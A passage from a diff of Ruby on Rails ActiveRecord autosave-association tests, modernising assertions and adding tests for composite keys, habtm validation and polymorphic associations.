-    assert !company.clients_of_firm.loaded?
+
+    new_client = assert_queries_count(0) { company.clients_of_firm.build("name" => "Another Client") }
+    assert_not_predicate company.clients_of_firm, :loaded?
 
     company.name += "-changed"
-    assert_queries(2) { assert company.save }
-    assert new_client.persisted?
+    assert_queries_count(4) { assert company.save }
+    assert_predicate new_client, :persisted?
     assert_equal 3, company.clients_of_firm.reload.size
   end
 
   def test_build_many_before_save
     company = companies(:first_firm)
-    assert_no_queries(ignore_none: false) { company.clients_of_firm.build([{ "name" => "Another Client" }, { "name" => "Another Client II" }]) }
+
+    assert_queries_count(0) { company.clients_of_firm.build([{ "name" => "Another Client" }, { "name" => "Another Client II" }]) }
 
     company.name += "-changed"
-    assert_queries(3) { assert company.save }
+    assert_queries_count(5) { assert company.save }
     assert_equal 4, company.clients_of_firm.reload.size
   end
 
   def test_build_via_block_before_save
     company = companies(:first_firm)
-    new_client = assert_no_queries(ignore_none: false) { company.clients_of_firm.build { |client| client.name = "Another Client" } }
-    assert !company.clients_of_firm.loaded?
+
+    new_client = assert_queries_count(0) { company.clients_of_firm.build { |client| client.name = "Another Client" } }
+    assert_not_predicate company.clients_of_firm, :loaded?
 
     company.name += "-changed"
-    assert_queries(2) { assert company.save }
-    assert new_client.persisted?
+    assert_queries_count(4) { assert company.save }
+    assert_predicate new_client, :persisted?
     assert_equal 3, company.clients_of_firm.reload.size
   end
 
   def test_build_many_via_block_before_save
     company = companies(:first_firm)
-    assert_no_queries(ignore_none: false) do
+
+    assert_queries_count(0) do
       company.clients_of_firm.build([{ "name" => "Another Client" }, { "name" => "Another Client II" }]) do |client|
         client.name = "changed"
       end
     end
 
     company.name += "-changed"
-    assert_queries(3) { assert company.save }
+    assert_queries_count(5) { assert company.save }
     assert_equal 4, company.clients_of_firm.reload.size
   end
 
@@ -649,6 +1083,21 @@ def test_replace_on_new_object
     assert_equal 2, firm.clients.length
     assert_includes firm.clients, Client.find_by_name("New Client")
   end
+
+  def test_replace_on_duplicated_object
+    firm = Firm.create!("name" => "New Firm").dup
+    firm.clients = [companies(:second_client), Client.new("name" => "New Client")]
+    assert firm.save
+    firm.reload
+    assert_equal 2, firm.clients.length
+    assert_includes firm.clients, Client.find_by_name("New Client")
+  end
+
+  def test_should_not_load_the_associated_model
+    firm = companies(:first_firm)
+    firm.clients.reset
+    assert_no_queries { firm.save! }
+  end
 end
 
 class TestDefaultAutosaveAssociationOnNewRecord < ActiveRecord::TestCase
@@ -656,62 +1105,62 @@ def test_autosave_new_record_on_belongs_to_can_be_disabled_per_relationship
     new_account = Account.new("credit_limit" => 1000)
     new_firm = Firm.new("name" => "some firm")
 
-    assert !new_firm.persisted?
+    assert_not_predicate new_firm, :persisted?
     new_account.firm = new_firm
     new_account.save!
 
-    assert new_firm.persisted?
+    assert_predicate new_firm, :persisted?
 
     new_account = Account.new("credit_limit" => 1000)
     new_autosaved_firm = Firm.new("name" => "some firm")
 
-    assert !new_autosaved_firm.persisted?
+    assert_not_predicate new_autosaved_firm, :persisted?
     new_account.unautosaved_firm = new_autosaved_firm
     new_account.save!
 
-    assert !new_autosaved_firm.persisted?
+    assert_not_predicate new_autosaved_firm, :persisted?
   end
 
   def test_autosave_new_record_on_has_one_can_be_disabled_per_relationship
     firm = Firm.new("name" => "some firm")
     account = Account.new("credit_limit" => 1000)
 
-    assert !account.persisted?
+    assert_not_predicate account, :persisted?
     firm.account = account
     firm.save!
 
-    assert account.persisted?
+    assert_predicate account, :persisted?
 
     firm = Firm.new("name" => "some firm")
     account = Account.new("credit_limit" => 1000)
 
     firm.unautosaved_account = account
 
-    assert !account.persisted?
+    assert_not_predicate account, :persisted?
     firm.unautosaved_account = account
     firm.save!
 
-    assert !account.persisted?
+    assert_not_predicate account, :persisted?
   end
 
   def test_autosave_new_record_on_has_many_can_be_disabled_per_relationship
     firm = Firm.new("name" => "some firm")
     account = Account.new("credit_limit" => 1000)
 
-    assert !account.persisted?
+    assert_not_predicate account, :persisted?
     firm.accounts << account
 
     firm.save!
-    assert account.persisted?
+    assert_predicate account, :persisted?
 
     firm = Firm.new("name" => "some firm")
     account = Account.new("credit_limit" => 1000)
 
-    assert !account.persisted?
+    assert_not_predicate account, :persisted?
     firm.unautosaved_accounts << account
 
     firm.save!
-    assert !account.persisted?
+    assert_not_predicate account, :persisted?
   end
 
   def test_autosave_new_record_with_after_create_callback
@@ -721,6 +1170,15 @@ def test_autosave_new_record_with_after_create_callback
 
     assert_not_nil post.author_id
   end
+
+  def test_autosave_new_record_with_after_create_callback_and_habtm_association
+    post = PostWithAfterCreateCallback.new(title: "Captain Murphy", body: "is back")
+    post.comments.build(body: "foo")
+    post.categories.build(name: "bar")
+    post.save!
+
+    assert_equal 1, post.categories.reload.length
+  end
 end
 
 class TestDestroyAsPartOfAutosaveAssociation < ActiveRecord::TestCase
@@ -737,6 +1195,8 @@ class TestDestroyAsPartOfAutosaveAssociation < ActiveRecord::TestCase
     Parrot.delete_all
     @ship.delete
     @pirate.delete
+    Cpk::Book.delete_all
+    Cpk::Order.delete_all
   end
 
   # reload
@@ -744,18 +1204,18 @@ def test_a_marked_for_destruction_record_should_not_be_be_marked_after_reload
     @pirate.mark_for_destruction
     @pirate.ship.mark_for_destruction
 
-    assert !@pirate.reload.marked_for_destruction?
-    assert !@pirate.ship.reload.marked_for_destruction?
+    assert_not_predicate @pirate.reload, :marked_for_destruction?
+    assert_not_predicate @pirate.ship.reload, :marked_for_destruction?
   end
 
   # has_one
   def test_should_destroy_a_child_association_as_part_of_the_save_transaction_if_it_was_marked_for_destruction
-    assert !@pirate.ship.marked_for_destruction?
+    assert_not_predicate @pirate.ship, :marked_for_destruction?
 
     @pirate.ship.mark_for_destruction
     id = @pirate.ship.id
 
-    assert @pirate.ship.marked_for_destruction?
+    assert_predicate @pirate.ship, :marked_for_destruction?
     assert Ship.find_by_id(id)
 
     @pirate.save
@@ -765,11 +1225,12 @@ def test_should_destroy_a_child_association_as_part_of_the_save_transaction_if_i
 
   def test_should_skip_validation_on_a_child_association_if_marked_for_destruction
     @pirate.ship.name = ""
-    assert !@pirate.valid?
+    assert_not_predicate @pirate, :valid?
 
     @pirate.ship.mark_for_destruction
-    @pirate.ship.expects(:valid?).never
-    assert_difference("Ship.count", -1) { @pirate.save! }
+    assert_not_called(@pirate.ship, :valid?) do
+      assert_difference("Ship.count", -1) { @pirate.save! }
+    end
   end
 
   def test_a_child_marked_for_destruction_should_not_be_destroyed_twice
@@ -784,7 +1245,7 @@ def destroy; raise "Should not be called" end
   def test_should_rollback_destructions_if_an_exception_occurred_while_saving_a_child
     # Stub the save method of the @pirate.ship instance to destroy and then raise an exception
     class << @pirate.ship
-      def save(*args)
+      def save(**)
         super
         destroy
         raise "Oh noes!"
@@ -794,7 +1255,7 @@ def save(*args)
     @ship.pirate.catchphrase = "Changed Catchphrase"
     @ship.name_will_change!
 
-    assert_raise(RuntimeError) { assert !@pirate.save }
+    assert_raise(RuntimeError) { assert_not @pirate.save }
     assert_not_nil @pirate.reload.ship
   end
 
@@ -805,18 +1266,19 @@ def test_should_save_changed_has_one_changed_object_if_child_is_saved
   end
 
   def test_should_not_save_changed_has_one_unchanged_object_if_child_is_saved
-    @pirate.ship.expects(:save).never
-    assert @pirate.save
+    assert_not_called(@pirate.ship, :save) do
+      assert @pirate.save
+    end
   end
 
   # belongs_to
   def test_should_destroy_a_parent_association_as_part_of_the_save_transaction_if_it_was_marked_for_destruction
-    assert !@ship.pirate.marked_for_destruction?
+    assert_not_predicate @ship.pirate, :marked_for_destruction?
 
     @ship.pirate.mark_for_destruction
     id = @ship.pirate.id
 
-    assert @ship.pirate.marked_for_destruction?
+    assert_predicate @ship.pirate, :marked_for_destruction?
     assert Pirate.find_by_id(id)
 
     @ship.save
@@ -824,13 +1286,26 @@ def test_should_destroy_a_parent_association_as_part_of_the_save_transaction_if_
     assert_nil Pirate.find_by_id(id)
   end
 
+  # belongs_to for CPK
+  def test_autosave_cpk_association_should_destroy_parent_association_when_marked_for_destruction
+    book = Cpk::Book.new(title: "Book", id: [1, 2])
+    Cpk::Order.create!(id: [3, 4], book: book)
+
+    book.order.mark_for_destruction
+
+    assert book.save
+    assert_nil book.reload.order
+    assert_nil Cpk::Order.find_by(id: 4, shop_id: 3)
+  end
+
   def test_should_skip_validation_on_a_parent_association_if_marked_for_destruction
     @ship.pirate.catchphrase = ""
-    assert !@ship.valid?
+    assert_not_predicate @ship, :valid?
 
     @ship.pirate.mark_for_destruction
-    @ship.pirate.expects(:valid?).never
-    assert_difference("Pirate.count", -1) { @ship.save! }
+    assert_not_called(@ship.pirate, :valid?) do
+      assert_difference("Pirate.count", -1) { @ship.save! }
+    end
   end
 
   def test_a_parent_marked_for_destruction_should_not_be_destroyed_twice
@@ -845,7 +1320,7 @@ def destroy; raise "Should not be called" end
   def test_should_rollback_destructions_if_an_exception_occurred_while_saving_a_parent
     # Stub the save method of the @ship.pirate instance to destroy and then raise an exception
     class << @ship.pirate
-      def save(*args)
+      def save(**)
         super
         destroy
         raise "Oh noes!"
@@ -854,7 +1329,7 @@ def save(*args)
 
     @ship.pirate.catchphrase = "Changed Catchphrase"
 
-    assert_raise(RuntimeError) { assert !@ship.save }
+    assert_raise(RuntimeError) { assert_not @ship.save }
     assert_not_nil @ship.reload.pirate
   end
 
@@ -870,7 +1345,7 @@ def test_should_save_changed_child_objects_if_parent_is_saved
   def test_should_destroy_has_many_as_part_of_the_save_transaction_if_they_were_marked_for_destruction
     2.times { |i| @pirate.birds.create!(name: "birds_#{i}") }
 
-    assert !@pirate.birds.any?(&:marked_for_destruction?)
+    assert_not @pirate.birds.any?(&:marked_for_destruction?)
 
     @pirate.birds.each(&:mark_for_destruction)
     klass = @pirate.birds.first.class
@@ -880,7 +1355,7 @@ def test_should_destroy_has_many_as_part_of_the_save_transaction_if_they_were_ma
     ids.each { |id| assert klass.find_by_id(id) }
 
     @pirate.save
-    assert @pirate.reload.birds.empty?
+    assert_empty @pirate.reload.birds
     ids.each { |id| assert_nil klass.find_by_id(id) }
   end
 
@@ -888,30 +1363,32 @@ def test_should_not_resave_destroyed_association
     @pirate.birds.create!(name: :parrot)
     @pirate.birds.first.destroy
     @pirate.save!
-    assert @pirate.reload.birds.empty?
+    assert_empty @pirate.reload.birds
   end
 
   def test_should_skip_validation_on_has_many_if_marked_for_destruction
     2.times { |i| @pirate.birds.create!(name: "birds_#{i}") }
 
     @pirate.birds.each { |bird| bird.name = "" }
-    assert !@pirate.valid?
+    assert_not_predicate @pirate, :valid?
 
-    @pirate.birds.each do |bird|
-      bird.mark_for_destruction
-      bird.expects(:valid?).never
+    @pirate.birds.each(&:mark_for_destruction)
+
+    assert_not_called(@pirate.birds.first, :valid?) do
+      assert_not_called(@pirate.birds.last, :valid?) do
+        assert_difference("Bird.count", -2) { @pirate.save! }
+      end
     end
-    assert_difference("Bird.count", -2) { @pirate.save! }
   end
 
   def test_should_skip_validation_on_has_many_if_destroyed
     @pirate.birds.create!(name: "birds_1")
 
     @pirate.birds.each { |bird| bird.name = "" }
-    assert !@pirate.valid?
+    assert_not_predicate @pirate, :valid?
 
     @pirate.birds.each(&:destroy)
-    assert @pirate.valid?
+    assert_predicate @pirate, :valid?
   end
 
   def test_a_child_marked_for_destruction_should_not_be_destroyed_twice_while_saving_has_many
@@ -920,8 +1397,11 @@ def test_a_child_marked_for_destruction_should_not_be_destroyed_twice_while_savi
     @pirate.birds.each(&:mark_for_destruction)
     assert @pirate.save
 
-    @pirate.birds.each { |bird| bird.expects(:destroy).never }
-    assert @pirate.save
+    @pirate.birds.each do |bird|
+      assert_not_called(bird, :destroy) do
+        assert @pirate.save
+      end
+    end
   end
 
   def test_should_rollback_destructions_if_an_exception_occurred_while_saving_has_many
@@ -936,7 +1416,7 @@ def destroy(*args)
       end
     end
 
-    assert_raise(RuntimeError) { assert !@pirate.save }
+    assert_raise(RuntimeError) { assert_not @pirate.save }
     assert_equal before, @pirate.reload.birds
   end
 
@@ -951,7 +1431,7 @@ def test_when_new_record_a_child_marked_for_destruction_should_not_affect_other_
   end
 
   def test_should_save_new_record_that_has_same_value_as_existing_record_marked_for_destruction_on_field_that_has_unique_index
-    Bird.connection.add_index :birds, :name, unique: true
+    Bird.lease_connection.add_index :birds, :name, unique: true
 
     3.times { |i| @pirate.birds.create(name: "unique_birds_#{i}") }
 
@@ -961,7 +1441,7 @@ def test_should_save_new_record_that_has_same_value_as_existing_record_marked_fo
 
     assert_equal 3, @pirate.birds.reload.length
   ensure
-    Bird.connection.remove_index :birds, column: :name
+    Bird.lease_connection.remove_index :birds, column: :name
   end
 
   # Add and remove callbacks tests for association collections.
@@ -970,7 +1450,7 @@ def test_should_save_new_record_that_has_same_value_as_existing_record_marked_fo
       association_name_with_callbacks = "birds_with_#{callback_type}_callbacks"
 
       pirate = Pirate.new(catchphrase: "Arr")
-      pirate.send(association_name_with_callbacks).build(name: "Crowe the One-Eyed")
+      pirate.public_send(association_name_with_callbacks).build(name: "Crowe the One-Eyed")
 
       expected = [
         "before_adding_#{callback_type}_bird_<new>",
@@ -983,9 +1463,9 @@ def test_should_save_new_record_that_has_same_value_as_existing_record_marked_fo
     define_method("test_should_run_remove_callback_#{callback_type}s_for_has_many") do
       association_name_with_callbacks = "birds_with_#{callback_type}_callbacks"
 
-      @pirate.send(association_name_with_callbacks).create!(name: "Crowe the One-Eyed")
-      @pirate.send(association_name_with_callbacks).each(&:mark_for_destruction)
-      child_id = @pirate.send(association_name_with_callbacks).first.id
+      @pirate.public_send(association_name_with_callbacks).create!(name: "Crowe the One-Eyed")
+      @pirate.public_send(association_name_with_callbacks).each(&:mark_for_destruction)
+      child_id = @pirate.public_send(association_name_with_callbacks).first.id
 
       @pirate.ship_log.clear
       @pirate.save
@@ -1002,42 +1482,122 @@ def test_should_save_new_record_that_has_same_value_as_existing_record_marked_fo
   def test_should_destroy_habtm_as_part_of_the_save_transaction_if_they_were_marked_for_destruction
     2.times { |i| @pirate.parrots.create!(name: "parrots_#{i}") }
 
-    assert !@pirate.parrots.any?(&:marked_for_destruction?)
+    assert_not @pirate.parrots.any?(&:marked_for_destruction?)
     @pirate.parrots.each(&:mark_for_destruction)
 
     assert_no_difference "Parrot.count" do
       @pirate.save
     end
 
-    assert @pirate.reload.parrots.empty?
+    assert_empty @pirate.reload.parrots
 
-    join_records = Pirate.connection.select_all("SELECT * FROM parrots_pirates WHERE pirate_id = #{@pirate.id}")
-    assert join_records.empty?
+    join_records = Pirate.lease_connection.select_all("SELECT * FROM parrots_pirates WHERE pirate_id = #{@pirate.id}")
+    assert_empty join_records
   end
 
   def test_should_skip_validation_on_habtm_if_marked_for_destruction
     2.times { |i| @pirate.parrots.create!(name: "parrots_#{i}") }
 
     @pirate.parrots.each { |parrot| parrot.name = "" }
-    assert !@pirate.valid?
+    assert_not_predicate @pirate, :valid?
 
-    @pirate.parrots.each do |parrot|
-      parrot.mark_for_destruction
-      parrot.expects(:valid?).never
+    @pirate.parrots.each { |parrot| parrot.mark_for_destruction }
+
+    assert_not_called(@pirate.parrots.first, :valid?) do
+      assert_not_called(@pirate.parrots.last, :valid?) do
+        @pirate.save!
+      end
     end
 
-    @pirate.save!
-    assert @pirate.reload.parrots.empty?
+    assert_empty @pirate.reload.parrots
   end
 
   def test_should_skip_validation_on_habtm_if_destroyed
     @pirate.parrots.create!(name: "parrots_1")
 
     @pirate.parrots.each { |parrot| parrot.name = "" }
-    assert !@pirate.valid?
+    assert_not_predicate @pirate, :valid?
 
     @pirate.parrots.each(&:destroy)
-    assert @pirate.valid?
+    assert_predicate @pirate, :valid?
+  end
+
+  def test_should_be_valid_on_habtm_if_persisted_and_unchanged
+    parrot = @pirate.parrots.create!(name: "parrots_1")
+    parrot.update_column(:name, "")
+    parrot.reload
+    assert_not_predicate parrot, :valid?
+
+    new_pirate = Pirate.new(catchphrase: "Arr")
+    new_pirate.parrots = @pirate.parrots
+    new_pirate.save!
+  end
+
+  def test_should_be_invalid_on_habtm_when_any_record_in_the_association_chain_is_invalid_and_was_changed
+    treasure = @pirate.treasures.create!(name: "gold")
+    estimate = treasure.price_estimates.create!(price: 1)
+    estimate.update_columns(price: "not a number")
+
+    assert_not_predicate estimate, :valid?
+
+    treasures = @pirate.treasures.eager_load(:price_estimates).to_a
+    treasures.first.price_estimates.first.price = "not a price"
+    new_pirate = Pirate.new(
+      catchphrase: "Arr",
+      treasures: treasures,
+    )
+
+    assert_raises(ActiveRecord::RecordInvalid) do
+      new_pirate.save!
+    end
+    assert_equal(["Treasures is invalid"], new_pirate.errors.full_messages)
+  end
+
+  def test_should_be_invalid_on_habtm_when_any_record_in_the_association_chain_is_invalid_and_was_changed_with_autosave
+    super_pirate = Class.new(Pirate) do
+      self.table_name = "pirates"
+      has_many :great_treasures, class_name: "Treasure", foreign_key: "looter_id", autosave: true
+
+      def self.name
+        "SuperPirate"
+      end
+    end
+    @pirate = super_pirate.create(catchphrase: "Don' botharrr talkin' like one, savvy?")
+    treasure = @pirate.great_treasures.create!(name: "gold")
+    estimate = treasure.price_estimates.create!(price: 1)
+    estimate.update_columns(price: "not a number")
+
+    assert_not_predicate estimate, :valid?
+
+    treasures = @pirate.great_treasures.eager_load(:price_estimates).to_a
+    treasures.first.price_estimates.first.price = "not a price"
+    new_pirate = super_pirate.new(
+      catchphrase: "Arr",
+      great_treasures: treasures,
+    )
+
+    assert_raises(ActiveRecord::RecordInvalid) do
+      new_pirate.save!
+    end
+    assert_equal(["Great treasures price estimates price is not a number"], new_pirate.errors.full_messages)
+  end
+
+  def test_should_be_valid_on_habtm_when_any_record_in_the_association_chain_is_invalid_but_was_not_changed
+    treasure = @pirate.treasures.create!(name: "gold")
+    estimate = treasure.price_estimates.create!(price: 1)
+    estimate.update_columns(price: "not a number")
+
+    assert_not_predicate estimate, :valid?
+
+    treasures = @pirate.treasures.eager_load(:price_estimates).to_a
+    new_pirate = Pirate.new(
+      catchphrase: "Arr",
+      treasures: treasures,
+    )
+
+    assert_nothing_raised do
+      new_pirate.save!
+    end
   end
 
   def test_a_child_marked_for_destruction_should_not_be_destroyed_twice_while_saving_habtm
@@ -1047,7 +1607,7 @@ def test_a_child_marked_for_destruction_should_not_be_destroyed_twice_while_savi
     assert @pirate.save
 
     Pirate.transaction do
-      assert_queries(0) do
+      assert_no_queries do
         assert @pirate.save
       end
     end
@@ -1064,7 +1624,7 @@ def destroy(*args)
       end
     end
 
-    assert_raise(RuntimeError) { assert !@pirate.save }
+    assert_raise(RuntimeError) { assert_not @pirate.save }
     assert_equal before, @pirate.reload.parrots
   end
 
@@ -1074,7 +1634,7 @@ def destroy(*args)
       association_name_with_callbacks = "parrots_with_#{callback_type}_callbacks"
 
       pirate = Pirate.new(catchphrase: "Arr")
-      pirate.send(association_name_with_callbacks).build(name: "Crowe the One-Eyed")
+      pirate.public_send(association_name_with_callbacks).build(name: "Crowe the One-Eyed")
 
       expected = [
         "before_adding_#{callback_type}_parrot_<new>",
@@ -1087,9 +1647,9 @@ def destroy(*args)
     define_method("test_should_run_remove_callback_#{callback_type}s_for_habtm") do
       association_name_with_callbacks = "parrots_with_#{callback_type}_callbacks"
 
-      @pirate.send(association_name_with_callbacks).create!(name: "Crowe the One-Eyed")
-      @pirate.send(association_name_with_callbacks).each(&:mark_for_destruction)
-      child_id = @pirate.send(association_name_with_callbacks).first.id
+      @pirate.public_send(association_name_with_callbacks).create!(name: "Crowe the One-Eyed")
+      @pirate.public_send(association_name_with_callbacks).each(&:mark_for_destruction)
+      child_id = @pirate.public_send(association_name_with_callbacks).first.id
 
       @pirate.ship_log.clear
       @pirate.save
@@ -1105,7 +1665,7 @@ def destroy(*args)
 end
 
 class TestAutosaveAssociationOnAHasOneAssociation < ActiveRecord::TestCase
-  self.use_transactional_tests = false unless supports_savepoints?
+  fixtures :chefs, :cake_designers, :drink_designers
 
   def setup
     super
@@ -1121,39 +1681,47 @@ def test_should_still_work_without_an_associated_model
   end
 
   def test_should_automatically_save_the_associated_model
-    @pirate.ship.name = "The Vile Insanity"
+    @pirate.ship.name = "The Vile Serpent"
     @pirate.save
-    assert_equal "The Vile Insanity", @pirate.reload.ship.name
+    assert_equal "The Vile Serpent", @pirate.reload.ship.name
   end
 
   def test_changed_for_autosave_should_handle_cycles
     @ship.pirate = @pirate
-    assert_queries(0) { @ship.save! }
+    assert_no_queries { @ship.save! }
 
     @parrot = @pirate.parrots.create(name: "some_name")
     @parrot.name = "changed_name"
-    assert_queries(1) { @ship.save! }
-    assert_queries(0) { @ship.save! }
+    assert_queries_count(3) { @ship.save! }
+    assert_no_queries { @ship.save! }
   end
 
   def test_should_automatically_save_bang_the_associated_model
-    @pirate.ship.name = "The Vile Insanity"
+    @pirate.ship.name = "The Vile Serpent"
     @pirate.save!
-    assert_equal "The Vile Insanity", @pirate.reload.ship.name
+    assert_equal "The Vile Serpent", @pirate.reload.ship.name
+  end
+
+  def test_should_automatically_save_bang_the_associated_model_if_it_sets_the_inverse_record
+    pirate = Pirate.new(catchphrase: "Savvy?")
+    ship = Ship.new(name: "Black Pearl")
+    ship.pirate = pirate
+    pirate.save!
+    assert_equal "Black Pearl", pirate.reload.ship.name
   end
 
   def test_should_automatically_validate_the_associated_model
     @pirate.ship.name = ""
-    assert @pirate.invalid?
-    assert @pirate.errors[:"ship.name"].any?
+    assert_predicate @pirate, :invalid?
+    assert_predicate @pirate.errors[:"ship.name"], :any?
   end
 
   def test_should_merge_errors_on_the_associated_models_onto_the_parent_even_if_it_is_not_valid
     @pirate.ship.name   = nil
     @pirate.catchphrase = nil
-    assert @pirate.invalid?
-    assert @pirate.errors[:"ship.name"].any?
-    assert @pirate.errors[:catchphrase].any?
+    assert_predicate @pirate, :invalid?
+    assert_predicate @pirate.errors[:"ship.name"], :any?
+    assert_predicate @pirate.errors[:catchphrase], :any?
   end
 
   def test_should_not_ignore_different_error_messages_on_the_same_attribute
@@ -1162,7 +1730,7 @@ def test_should_not_ignore_different_error_messages_on_the_same_attribute
     Ship.validates_format_of :name, with: /\w/
     @pirate.ship.name   = ""
     @pirate.catchphrase = nil
-    assert @pirate.invalid?
+    assert_predicate @pirate, :invalid?
     assert_equal ["can't be blank", "is invalid"], @pirate.errors[:"ship.name"]
   ensure
     Ship._validators = old_validators if old_validators
@@ -1173,12 +1741,7 @@ def test_should_still_allow_to_bypass_validations_on_the_associated_model
     @pirate.catchphrase = ""
     @pirate.ship.name = ""
     @pirate.save(validate: false)
-    # Oracle saves empty string as NULL
-    if current_adapter?(:OracleAdapter)
-      assert_equal [nil, nil], [@pirate.reload.catchphrase, @pirate.ship.name]
-    else
-      assert_equal ["", ""], [@pirate.reload.catchphrase, @pirate.ship.name]
-    end
+    assert_equal ["", ""], [@pirate.reload.catchphrase, @pirate.ship.name]
   end
 
   def test_should_allow_to_bypass_validations_on_associated_models_at_any_depth
@@ -1190,12 +1753,7 @@ def test_should_allow_to_bypass_validations_on_associated_models_at_any_depth
     @pirate.save(validate: false)
 
     values = [@pirate.reload.catchphrase, @pirate.ship.name, *@pirate.ship.parts.map(&:name)]
-    # Oracle saves empty string as NULL
-    if current_adapter?(:OracleAdapter)
-      assert_equal [nil, nil, nil, nil], values
-    else
-      assert_equal ["", "", "", ""], values
-    end
+    assert_equal ["", "", "", ""], values
   end
 
   def test_should_still_raise_an_ActiveRecordRecord_Invalid_exception_if_we_want_that
@@ -1207,12 +1765,12 @@ def test_should_still_raise_an_ActiveRecordRecord_Invalid_exception_if_we_want_t
 
   def test_should_not_save_and_return_false_if_a_callback_cancelled_saving
     pirate = Pirate.new(catchphrase: "Arr")
-    ship = pirate.build_ship(name: "The Vile Insanity")
+    ship = pirate.build_ship(name: "The Vile Serpent")
     ship.cancel_save_from_callback = true
 
     assert_no_difference "Pirate.count" do
       assert_no_difference "Ship.count" do
-        assert !pirate.save
+        assert_not pirate.save
       end
     end
   end
@@ -1221,56 +1779,139 @@ def test_should_rollback_any_changes_if_an_exception_occurred_while_saving
     before = [@pirate.catchphrase, @pirate.ship.name]
 
     @pirate.catchphrase = "Arr"
-    @pirate.ship.name = "The Vile Insanity"
+    @pirate.ship.name = "The Vile Serpent"
 
     # Stub the save method of the @pirate.ship instance to raise an exception
     class << @pirate.ship
-      def save(*args)
+      def save(**)
         super
         raise "Oh noes!"
       end
     end
 
-    assert_raise(RuntimeError) { assert !@pirate.save }
+    assert_raise(RuntimeError) { assert_not @pirate.save }
     assert_equal before, [@pirate.reload.catchphrase, @pirate.ship.name]
   end
 
   def test_should_not_load_the_associated_model
-    assert_queries(1) { @pirate.catchphrase = "Arr"; @pirate.save! }
+    assert_queries_count(3) { @pirate.catchphrase = "Arr"; @pirate.save! }
   end
 
   def test_mark_for_destruction_is_ignored_without_autosave_true
     ship = ShipWithoutNestedAttributes.new(name: "The Black Flag")
     ship.parts.build.mark_for_destruction
 
-    assert_not ship.valid?
+    assert_not_predicate ship, :valid?
   end
+
+  def test_should_not_saved_for_unchanged_sti_type_on_polymorphic_association
+    face = Class.new(Face) do
+      def self.name; "Face"; end
+
+      after_save :count_saves
+
+      def count_saves
+        @count ||= 0
+        @count += 1
+      end
+    end
+
+    super_human = Class.new(SuperHuman) do
+      self.table_name = "humans"
+      def self.name; "SuperHuman"; end
+
+      attribute :name, :string
+
+      # Polymorphic has_one needs to be defined on the child class
+      has_one :polymorphic_face, class_name: "Face", as: :polymorphic_human, inverse_of: :polymorphic_human
+    end
+
+    face_record = face.create!
+
+    super_human_record = super_human.create!(name: "S. Human", polymorphic_face: face_record)
+
+    super_human_record.update!(name: "Super Human")
+
+    assert_equal "Human", face_record.polymorphic_human_type
+    assert_equal super_human_record.id, face_record.polymorphic_human_id
+
+    # Saves on create of face and create of super human, but not update
+    assert_equal 2, face_record.instance_variable_get(:@count)
+  end
+
+  def test_recognizes_inverse_polymorphic_association_changes_with_same_foreign_key
+    chef_a = chefs(:gordon_ramsay)
+    chef_b = chefs(:marco_pierre_white)
+
+    cake_designer_a = cake_designers(:flora) # id: 1
+    cake_designer_a.update!(chef: chef_a)
+    cake_designer_b = cake_designers(:frosty) # id: 3
+    cake_designer_b.update!(chef: chef_b)
+
+    drink_designer_a = drink_designers(:turner) # id: 1
+    drink_designer_b = drink_designers(:sparrow) # id: 2
+
+    swap_chefs(cake_designer_b, drink_designer_b)
+    assert_predicate cake_designer_b.reload.chef, :present?
+    assert_not_predicate drink_designer_b.reload.chef, :present?
+
+    swap_chefs(cake_designer_a, drink_designer_a)
+    assert_predicate cake_designer_a.reload.chef, :present?
+    assert_not_predicate drink_designer_a.reload.chef, :present?
+  end
+
+  private
+    def swap_chefs(cake_designer, drink_designer)
+      drink_designer.chef = cake_designer.chef
+      drink_designer.save!
+      cake_designer.save!
+    end
 end
 
 class TestAutosaveAssociationOnAHasOneThroughAssociation < ActiveRecord::TestCase
-  self.use_transactional_tests = false unless supports_savepoints?
-
-  def setup
-    super
+  def create_member_with_organization
     organization = Organization.create
-    @member = Member.create
-    MemberDetail.create(organization: organization, member: @member)
+    member = Member.create
+    MemberDetail.create(organization: organization, member: member)
+
+    member
   end
 
   def test_should_not_has_one_through_model
-    class << @member.organization
-      def save(*args)
+    member = create_member_with_organization
+
+    class << member.organization
+      def save(**)
+        super
+        raise "Oh noes!"
+      end
+    end
+    assert_nothing_raised { member.save }
+  end
+
+  def create_author_with_post_with_comment
+    Author.create! name: "David" # make comment_id not match author_id
+    author = Author.create! name: "Sergiy"
+    post = Post.create! author: author, title: "foo", body: "bar"
+    Comment.create! post: post, body: "cool comment"
+
+    author
+  end
+
+  def test_should_not_reversed_has_one_through_model
+    author = create_author_with_post_with_comment
+
+    class << author.comment_on_first_post
+      def save(**)
         super
         raise "Oh noes!"
       end
     end
-    assert_nothing_raised { @member.save }
+    assert_nothing_raised { author.save }
   end
 end
 
 class TestAutosaveAssociationOnABelongsToAssociation < ActiveRecord::TestCase
-  self.use_transactional_tests = false unless supports_savepoints?
-
   def setup
     super
     @ship = Ship.create(name: "Nights Dirty Lightning")
@@ -1279,9 +1920,9 @@ def setup
 
   def test_should_still_work_without_an_associated_model
     @pirate.destroy
-    @ship.reload.name = "The Vile Insanity"
+    @ship.reload.name = "The Vile Serpent"
     @ship.save
-    assert_equal "The Vile Insanity", @ship.reload.name
+    assert_equal "The Vile Serpent", @ship.reload.name
   end
 
   def test_should_automatically_save_the_associated_model
@@ -1298,28 +1939,23 @@ def test_should_automatically_save_bang_the_associated_model
 
   def test_should_automatically_validate_the_associated_model
     @ship.pirate.catchphrase = ""
-    assert @ship.invalid?
-    assert @ship.errors[:"pirate.catchphrase"].any?
+    assert_predicate @ship, :invalid?
+    assert_predicate @ship.errors[:"pirate.catchphrase"], :any?
   end
 
   def test_should_merge_errors_on_the_associated_model_onto_the_parent_even_if_it_is_not_valid
     @ship.name = nil
     @ship.pirate.catchphrase = nil
-    assert @ship.invalid?
-    assert @ship.errors[:name].any?
-    assert @ship.errors[:"pirate.catchphrase"].any?
+    assert_predicate @ship, :invalid?
+    assert_predicate @ship.errors[:name], :any?
+    assert_predicate @ship.errors[:"pirate.catchphrase"], :any?
   end
 
   def test_should_still_allow_to_bypass_validations_on_the_associated_model
     @ship.pirate.catchphrase = ""
     @ship.name = ""
     @ship.save(validate: false)
-    # Oracle saves empty string as NULL
-    if current_adapter?(:OracleAdapter)
-      assert_equal [nil, nil], [@ship.reload.name, @ship.pirate.catchphrase]
-    else
-      assert_equal ["", ""], [@ship.reload.name, @ship.pirate.catchphrase]
-    end
+    assert_equal ["", ""], [@ship.reload.name, @ship.pirate.catchphrase]
   end
 
   def test_should_still_raise_an_ActiveRecordRecord_Invalid_exception_if_we_want_that
